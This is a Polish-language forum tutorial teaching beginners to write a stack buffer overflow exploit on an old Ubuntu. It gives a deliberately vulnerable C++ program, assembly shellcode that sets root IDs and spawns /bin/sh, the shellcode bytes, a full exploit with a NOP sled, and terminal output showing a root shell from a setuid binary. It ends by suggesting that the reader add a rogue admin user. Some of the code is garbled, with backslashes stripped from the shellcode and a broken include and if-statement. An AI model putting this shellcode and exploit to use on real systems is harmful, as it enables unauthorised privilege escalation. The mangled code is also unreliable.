Exploity- dla początkujących |
|
|
|
|
Postanowiłem, że napiszę tutorial nt. pisania exploitów, ponieważ wcześniej takowego nie zauważyłem. Uzupęłnię trochę wiedzę na forum wink.gif Wszystko zostanie wykonane na systemie Ubuntu 6.06 live CD, bo na 7.10 jest zabezpieczenie przy zmianie stosu. Linux to idealny system to rozpoczęcią nauki ;p Przydatna będzie lekka znajomość ASMa.
1. Co to w ogóle exploit ??
2. Co to shellcode
3. Przykładowy program - ofiara
4. Piszemy shellcode wink.gif
5. Przykładowy exploit
1. Na początek warto wiedzieć co to jest tajemniczy sploit wink.gif
Exploit to program mający na celu wykorzystanie błędów w oprogramowaniu.
Najczęściej program taki wykorzystuje jedną z kilku popularnych technik, np. buffer overflow, heap overflow, format string. Exploit wykorzystuje występujący w oprogramowaniu błąd programistyczny i przejmuje kontrolę nad działaniem procesu – wykonując odpowiednio spreparowany kod (ang. bytecode), który najczęściej wykonuje wywołanie systemowe uruchamiające powłokę systemową (ang. shellcode) z uprawnieniami programu, w którym wykryto lukę w zabezpieczeniach. Ludzi używających exploitów bez podstawowej wiedzy o mechanizmach ich działania nazywa się script kiddies. (Źródło - Wikipedia)
Od siebie dodam jak exploit przejmuje kontrolę. Przy kopiowaniu buforu (np. funkcją strcpy) nie jest przestrzegany limit długości buforu, tylko dane są kopiowane do napotkania bajtu zerowego (NULL'a). Oznacza on zakończenie jakiegoś łańcucha znaków. Kopiowanie takie odbywa się w specjalnym miejscu pamięci - na stosie. Przy przekraczaniu maksymalnej pojemności bufora, dane "zalewają" (stąd overflow) inne istotne dla systemu operacyjnego dane, m.in. adres powrotny z funkcji, która dokonała przepełnienia. Najciekawsze jest efekt samego nadpisania adresu. Gdy w buforze jest shellcode, a jego adres trafi w miejsce adresu powrotnego, sterowanie trafia w "ręce" shellcodu, który zazwyczaj uruchamia nową powłokę systemową z uprawnieniami root'a.
2. Teraz warto coś niecoś powiedzieć o shellcode (i znowu Wikipedia ;p)
Shellcode - anglojęzyczny zlepek słów shell (powłoka) oraz code (kod) oznaczający prosty, niskopoziomowy program odpowiedzialny za wywołanie powłoki systemowej w ostatniej fazie wykorzystywania wielu błędów zabezpieczeń przez exploity. Dostarczany jest on zwykle wraz z innym wejściem użytkownika; na skutek wykorzystania luki w atakowanej aplikacji, procesor rozpoczyna wykonywanie shellcode, pozwalając na uzyskanie nieautoryzowanego dostępu do systemu komputerowego lub eskalacja uprawnień.
Shellcode pisze się w asemblerze wink.gif - to tak od siebie.
3. Pora napisać przykładowy program - ofiarę, żeby było wiadomo o co tu właściwie biega. Program napiszę w C++ (w końcu to mój ulubiony HLL wink.gif)
KOD
// Przykładowy programik ofiara;)
// vuln.cpp
int strlen(const char * ptr);
void strcpy(char *target, const char * source);
int main(int argc, char *argv[])
{
if (argc != 2)
buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
int strlen(const char * ptr)
{
for (int i = 0;; i++)
if (ptr[i] == '0')
return i;
}
void strcpy(char *target, const char * source)
{
int len = strlen(source);
for (int i = 0; i < len; i++)
{
target[i] = source[i];
}
}
Przykład wykonania takiego kodziku smile.gif
KOD
g++ vuln.cpp -o vuln
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./vuln asdf
Nic ciekawego się nie dzieje. Ale co się stanie w przypadku przepełnienia stosu ?? Posłużę się perlem, w celu przepełnienia buforu.
KOD
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./vuln `perl -e 'print "A"x600;'`
Segmentation fault
Jak widać 600 bajtów wystarczyło aż nadto żeby nadpisać stos.
W przypadku wywołania tego programu, stos wygląda +/- tak:
KOD
Wyższe adresy
|Jakieś dane|
| EIP | Adres powrotny (EBP+4)
| EBP | EBP (zachowany wskaźnik stosu (ESP))
|buffer[] | EBP-500
Niższe adresy
Rejestr EIP (Extended Instruction Pointer) to nasz adres powrotny, który nadpisujemy. Rejestr EBP (Extended Base Pointer) to zachowany wcześniej ESP (Extended Stack Pointer), który tam siedzi w celu odtworzenia stanu stosu sprzed uruchomienia funkcji/procedury.
4. Ofiarę mamy, ale trzeba coś jej podrzucić, żebyśmy mogli przejąć kontrolę nad systemem...
Shellcode napiszemy w asemblerze. Co nam będzie potrzebne??
- kompilator - NASM
- dwie funkcje - setreuid(uid_t ruid, uid_t euid) i execve(). Pierwsza posłuży do przywrócenia uprawnień administratora (niektóre programy na rzecz bezpieczeństwa takowe uprawnienia "wyłączają"), druga posłuży do uruchomienia powłoki roota (/bin/sh).
Kilka zasad dotyczących shellcodu:
- Nie może posiadać bajtów zerowych, bo zostanie ucięty przy kopiowaniu
- Musi się zmieścić w buforze i musi się w nim znajdować, żeby mógł być wykonany
- Trzeba znać adres shella w pamięci - tym się zajmiemy później.
Czas na uniwersalny shellcode (w postaci asma ;p)
KOD
BITS 32
xor eax, eax; zerujemy eax
mov al, 70; setreuid
xor ebx, ebx; ruid
xor ecx, ecx; euid
int 80h; Wywołujemy funkcję setreuid
jmp short two
one:
xor eax,eax
pop ebx
mov [ebx+7],al
mov [ebx+8], ebx
mov [ebx+12], eax
lea ecx, [ebx+8]
lea edx, [ebx+12]
mov al, 11; execve
int 80h; no to mamy powłoczkę :)
two:
call one
db '/bin/sh'
Kod może się wydawać trochę niezrozumiały, ale teraz po krótce go trochę rozjaśnię smile.gif
KOD
xor eax, eax; zerujemy eax
Jak wiadomo w asmie można zerować rejestry w sposób mov eax, 0, ale to zostawi w shellcode NULL'e więc ta metoda odpada. Metoda XOR rej1, rej2 opiera się na różnicy symetrycznej, gdy wszystko się zgadza wynik wynosi 0 i ląduje w rej1.
KOD
mov al, 70; setreuid
xor ebx, ebx; ruid
xor ecx, ecx; euid
int 80h; Wywołujemy funkcję setreuid
Tutaj wsadzamy w eax (część al - 1bajtowa) numerek funkcji systemowej nr 70. Jest to funkcja setreuid. Pierwszy jej parametr to prawdziwy identyfikator użytkownika, a drugi to efektywny. Oba ustawione na zero, bo chcemy prawa roota wink.gif Teraz wytłumaczę dlaczego mov al,70, a nie mov eax,70. Tutaj znowu chodzi o NULL'e. Rejestr EAX ma 4 bajty, a liczba 70 zmieści się w jednym. Trzeba jakoś wypełnić puste miejsca, więc w nich lądują zera. W tym wypadku trzeba użyć mniejszego rejestru (EAX dzieli się na AX + 32bity, AX dzieli się na AL i AH - oba 1bajtowe). W rejestrze AL zmieści się 70 więc wszystko jest OK.
KOD
jmp short two
one:
;...
two:
call one
db '/bin/sh'
A po co ten dziwny fragment ?? To dlatego, że shellcode musi być zamodzielnym kodem binarnym, a nie programy. W programie znalazłoby się miejsce dla ciągu /bin/sh w sekcji .data, ale my takiej sekcji nie posiadamy. Taki ciąg znaków nie może być instrukcją dla procesora więc jest pomijany, zaraz wyjaśnię jak.
1. Wykonywany jest rozkaz skoku do etykiety two, skok nie zostawia adresu powrotnego na stosie więc sam roboty nie odwali.
2. Instrukcja wywołania (call) odwołuje się do etykiety one, przy czym zostawia na stosie adres powrotny, a tym adresem jest właśnie adres naszego ciągu znaków wink.gif
3. Później zostaje pobrać adres ciągu ze stosu i dodać mu bajt zerowy.
KOD
one:
xor eax,eax
pop ebx
mov [ebx+7],al
mov [ebx+8], ebx
mov [ebx+12], eax
lea ecx, [ebx+8]
lea edx, [ebx+12]
mov al, 11; execve
int 80h; no to mamy powłoczkę :)
Na początku zerujemy eax, aby posiadać bajt zerowy dla ciągu znaków. Zdejmujemy adres ciągu, który ląduje w rejestrze EBX. [ebx+7] oznacza adres początku rejestru EBX + 7 bajtów, co wskazuje na koniec ciągu /bin/sh, gdzie ląduje bajt zerowy z rejestru AL. Dalej do rejestru EBX, lądują adresy rejestrów EBX (samego siebie xD) i EAX, a to dlatego, że funkcja execve przyjmuje jako pierwszy parametr adres ciągu (nazwy progsa, który ma odpalić), w drugim i trzecim parametrze lądują wskaźniki do wskaźników, czyli char *argv[] i char *envp[]. Wskaźniki te ładują instrukcje lea.
Na końcu zostaje wsadzenie do rejestru AL, numeru funkcji systemowej i odpalenie powłoczki.
Po tym napisaniu shella asemblujemy go
KOD
nasm shellcode.asm -o shellcode
Otwieramy plik shellcode programem hexedit (lub innym edytorem szesnastkowym) i kod szesnastkowy sprowadzamy do postaci:
KOD
x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88x43x07x89x5bx08x89x43x0cxb0x0bx8
dx4bx08x8dx53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73x68
Czyli przed każdym bajtem dodajemy x, usuwamy wszystkie spacje (jeśli tak skopiowaliśmy) i zmieniamy duże litery na małe.
No to shellcode mamy gotowy smile.gif
5. Przykładowy sploit smile.gif
Jak już wcześniej pisałem, musimy znać adres bufora w pamięci. Będzie się on kołatał gdzieś koło adresu wskazywanego przez ESP. Pewna funkcja zwróci nam zawartość tego rejestru. Odejmując od tego adresu jakiś offset można ustalić adres każdej zmiennej znajdującej się na stosie. Ale czy napewno trafimy w odpowiedni adres ?? Moglibyśmy próbować do upadłego aż trafimy, istnieje jednak technika która nam to znacznie ułatwi, zowie się Pułapką NOP. Pułapka NOP to kilka instrukcji NOP(0x90), które nie robią nic, po prostu adres wykonania będzie przechodził przez kolejne bajty tej pułapki do napotkania shellcodu. Im więcej NOPu tym większa szansa na trafienie wink.gif
Teraz coś o adresie powrotnym. Gdyby wstawić jeden adres na końcu buforu (czy - gdzieś pod koniec) nie wiemy czy poprawnie nadpisze EIP. W celu pewnego nadpisania wypełnimy koniec buforu tym adresem.
Czas na kodzik smile.gif
KOD
// Przykładowy exploit
#include
using namespace std;
char shellcode[] =
"x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88"
"x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8dx53x0c"
"xcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73x68";
unsigned long sp(void) // Funkcja zwraca nam rejestr ESP
{
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
cout << "Uzycie: " << argv[0] << " nn";
return 0;
}
char *buffer;
int offset, i;
unsigned long ret, esp;
buffer = new char[600]; // 600 bajtów dla buforu
offset = atoi(argv[1]);
esp = sp();
ret = esp - offset; // Adres, którym nadpiszemy EIP
cout << "ESP: " << esp << endl;
cout << "Offset: " << offset << endl;
cout << "Ret: " << ret << endl;
// Wypełnienie bufora adresami powrotnymi do shellcodu
for (i = 0; i < 600; i+=4)
*(unsigned long*)&buffer[i] = ret;
// Wypełnienie 300 pierwszych bajtów bufora NOP'ami
memset(buffer, 0x90, 300);
// Wstawienie do bufora shellcode'u
memcpy(&buffer[300], shellcode, strlen(shellcode));
buffer[599] = '0'; // Zakończenie bufora
cout << "Buffer: " << strlen(buffer) << endl;
execl("./vuln", "vuln", buffer, 0);
return 0;
}
Kodzik gotowy.
KOD
g++ exploit.cpp -o exploit
Pora na próbę, czyli - sprawdźmy cośmy narobili
KOD
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 500
ESP: 3220720248
Offset: 500
Ret: 3220719748
Buffer: 599
Segmentation fault
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 600
ESP: 3220915368
Offset: 600
Ret: 3220914768
Buffer: 599
Segmentation fault
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 700
ESP: 3215605224
Offset: 700
Ret: 3215604524
Buffer: 599
sh-3.1$ whoami
ubuntu
sh-3.1$ exit
Co widzimy ?? Po trzeciej próbie (przy offsecie 700), shellcode zostaje wykonany. Jednak nadużycie jest właściwie do niczego. Dlaczego ? Program - ofiara nie ma ustawionego bitu suid, czyli nie należy do roota i nie ma jego praw.
Ustawmy je
KOD
sudo chown root vuln
sudo chmod +s vuln
Teraz nadużycie da nam pożądane skutki wink.gif
KOD
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 700
ESP: 3220409608
Offset: 700
Ret: 3220408908
Buffer: 599
Segmentation fault
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 600
ESP: 3212830344
Offset: 600
Ret: 3212829744
Buffer: 599
Segmentation fault
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 800
ESP: 3214399848
Offset: 800
Ret: 3214399048
Buffer: 599
sh-3.1# whoami
root
Udało się biggrin.gif Mamy prawa admina i możemy robić co się nam podoba. Można dodać własnego usera do /bin/passwd z prawami admina itp...
To już koniec, mam nadzieję, że niektórym userom się rozjaśni co to exploit, jak działa i jak jest zbudowany. Przepraszam za błędy |
To jest stopka
|
|